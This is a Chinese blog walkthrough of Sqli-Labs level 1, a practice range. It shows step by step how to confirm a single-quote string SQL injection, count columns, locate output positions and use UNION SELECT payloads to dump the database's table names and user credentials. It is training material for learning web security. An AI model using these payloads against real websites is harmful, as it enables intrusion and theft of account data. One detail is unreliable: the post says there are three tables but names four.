打靶Sqli-Labs记录--01关

224 阅读3分钟

一.前置知识

必备知识1:URL的各部分说明

参考学习:

什么是 URL? - 学习 Web 开发 | MDN (mozilla.org)

必备知识2:SQL注入基础01

自学web安全day07--SQL注入--(基础01)判断注入类型 - 掘金 (juejin.cn)

自学web安全day07--SQL注入--(基础02)获取数据库信息 - 掘金 (juejin.cn)

所用到的URL工具:HackerBar v2

进入网页右键检查即可找到,或者直接F12可以找到它(需要先在拓展坞中安装)

二.打靶过程

1.判断是否含有SQL漏洞

用户能够控制输入的内容
Web应用把用户输入的内容带到服务器中执行

进入该靶场

image.png

在URL中输入参数?id=1,观察结果,可以交互,说明存在SQL注入漏洞

image.png

2.判断SQL注入类型

试验点1:1 and 1=1

试验点2:1 and 1=2

结果发现试验点1和试验点2结果都相同,大概率是字符型注入

image.png

这里确定SQL的闭合方式

试验点3:1aaaa'

根据报错信息判断SQL语句的闭合方式

拆去near带来的左右成对单引号还剩下'1aaaa'

拆去原参数值还剩下',说明是单引号SQL字符型注入类型

image.png

3.获取列数

试验点1:?id=1'order by 10%23

image.png

试验点2:?id=1'order by 5%23

image.png

试验点3:?id=1'order by 3%23

成功,说明该表中有3列,即3个字段

image.png

4.获取回显位置

由于有3列,所有先输入试验点1:?id=1' union select 1,2,3%23

image.png

再输入试验点2:?id=-1' union select 1,2,3%23

image.png

因此回显位置在2号位和3号位,且只回显一条数据,因此建立试验点的位置在2,3(1号位置不显示,所以不作为回显位置)

5.获取数据库信息

1.获取数据库名

试验点1:?id=-1' union select 1,database(),version()%23

说明数据库名称为security,版本号为5.5.53

image.png

2.获取数据库表名

试验点1: ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'%23

说明有3个表:emails,referers,uagents,users

image.png

3.获取数据库列名

试验点1:?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'%23

说明users表有11个字段,我们只要其中的username和password即可

image.png

4.获取数据库用户名和密码

试验点1:?id=-1' union select 1,username,password from users%23

可以查到一个用户的账号与密码

image.png

试验点2:?id=-1' union select 1,2,group_concat(username,password,id) from users%23

可以查到所有用户的账号和密码

image.png

试验点3:?id=-1' union select 1,group_concat(concat_ws('|',username,password)),group_concat(id) from users%23

可以利用函数嵌套的方式,分隔显示账号与密码,内层用concat_ws分隔,外层再用group_concat连接起来 image.png